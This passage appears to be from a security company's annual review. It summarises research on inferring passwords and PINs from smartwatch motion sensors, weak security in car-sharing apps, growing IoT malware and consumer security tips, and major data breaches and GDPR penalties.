Some of our researchers also looked at human wearable devices – specifically, smart watches and fitness trackers. We were interested in a scenario where a spying app installed on a smartphone could send data from the built-in motion sensors (accelerometer and gyroscope) to a remote server and use the data to piece together the wearer’s actions – walking, sitting, typing, etc. We started with an Android-based smartphone, created a simple app to process and transmit the data and then looked at what we could get from this data. Not only was it possible to work out that the wearer is sitting or walking, but also figure out if they are out for a stroll or changing subway trains, because the accelerometer patterns differ slightly – this is how fitness trackers distinguish between walking and cycling. It is also easy to see when someone is typing. However, finding out what they are typing would be hard and would require repeated text entry. Our researchers were able to recover a computer password with 96 per cent accuracy and a PIN code entered at an ATM with 87 per cent accuracy. However, it would be much harder to obtain other information – for example, a credit card number or CVC code – because of the lack of predictability about when the victim would type such information. In reality, the difficulty involved in obtaining such information means that an attacker would have to have a strong motive for targeting someone specific. Of course, there are situations where this might be worthwhile for attackers.

There has been a growth in car sharing services in recent years. Such services clearly provide flexibility for people wanting to get around major cities. However, it raises the question of security – how safe is the personal information of people using the services? In July, we tested 13 apps, to see if their developers have considered security. The results of our tests were not encouraging. It’s clear that app developers don’t fully understand the current threats to mobile platforms – this is true for both the design stage and when creating the infrastructure. A good first step would be to expand the functionality for notifying customers of suspicious activities – only one service currently sends notifications to customers about attempts to log in to their account from a different device. The majority of the apps we analyzed are poorly designed from a security standpoint and need to be improved. Moreover, many of the programs are not just very similar to each other but are actually based on the same code. You can read our report here, including advice for customers of car sharing services and recommendations for developers of car sharing apps.

The use of smart devices is increasing. Some forecasts suggest that by 2020 the number of smart devices will exceed the world’s population several times over. Yet manufacturers still don’t prioritize security: there are no reminders to change the default password during initial setup or notifications about the release of new firmware versions. And the updating process itself can be complex for the average consumer. This makes IoT devices a prime target for cybercriminals. Easier to infect than PCs, they often play an important role in the home infrastructure: some manage internet traffic, others shoot video footage and still others control domestic devices – for example, air conditioning. Malware for smart devices is increasing not only in quantity, but also quality. More and more exploits are being weaponized by cybercriminals, and infected devices are used to launch DDoS attacks, to steal personal data and to mine crypto-currency. In September, we published a report on IoT threats, and this year we have started to include data on IoT attacks in our quarterly and end-of-year statistics reports.

It’s vital that vendors improve their security approach, ensuring that security is considered when products are being designed. Governments in some countries, in an effort to encourage security by design in manufacturers of smart devices, are introducing guidelines. In October, the UK government launched its code of practice for consumer IoT security. The German government recently published its suggestions for minimum standards for broadband routers.

It’s also important that consumers consider security before buying any connected device.

  • Consider if you really need the device. If you do, check the functions available and disable any that you don’t need to reduce your attack surface.
  • Look online for information about any vulnerabilities that have been reported.
  • Check to see if it’s possible to update the firmware on the device.
  • Always change the default password and replace it with a unique, complex password.
  • Don’t share serial numbers, IP addresses and other sensitive data relating to the device online.

Our data in their hands

Personal information is a valuable commodity. This is evident from the steady stream of data breaches reported in the news – these include Under Armour, FIFA, Adidas, Ticketmaster, T-Mobile, Reddit, British Airways and Cathay Pacific.

The scandal involving the use, by Cambridge Analytica, of Facebook data is a reminder that personal information is not just valuable to cybercriminals. In many cases, personal data is the price people pay to obtain a product or service – ‘free’ browsers, ‘free’ email accounts, ‘free’ social network accounts, etc. But not always. Increasingly, we’re surrounded by smart devices that are capable of gathering details on the minutiae of our lives. Earlier this year, one journalist turned her apartment into a smart home in order to measure how much data was being collected by the firms that made the devices. Since we generally pay for such devices, the harvesting of data can hardly be seen as the price we pay for the benefits they bring in these cases.

Some data breaches have resulted in fines for the companies affected (the UK Information Commissioner’s Office fined Equifax and Facebook, for example). However, so far fines levied have been for breaches that occurred before the EU General Data Protection Regulation (GDPR) came into force in May. The penalties for any serious breaches that occur in the future are likely to be much higher.

There’s no such thing as 100% security, of course. But any organization that holds personal data has a duty of care to secure it effectively. And where a breach results in the theft of personal information, companies should alert their customers in a timely manner, enabling them to take steps to limit the potential damage that can occur.

While there’s nothing that we, as individuals, can do to prevent the theft of our personal information from an online provider, it’s important that we take steps to secure our online accounts and to minimize the impact of any breach – in particular, by using unique passwords for each site, and by using two-factor authentication.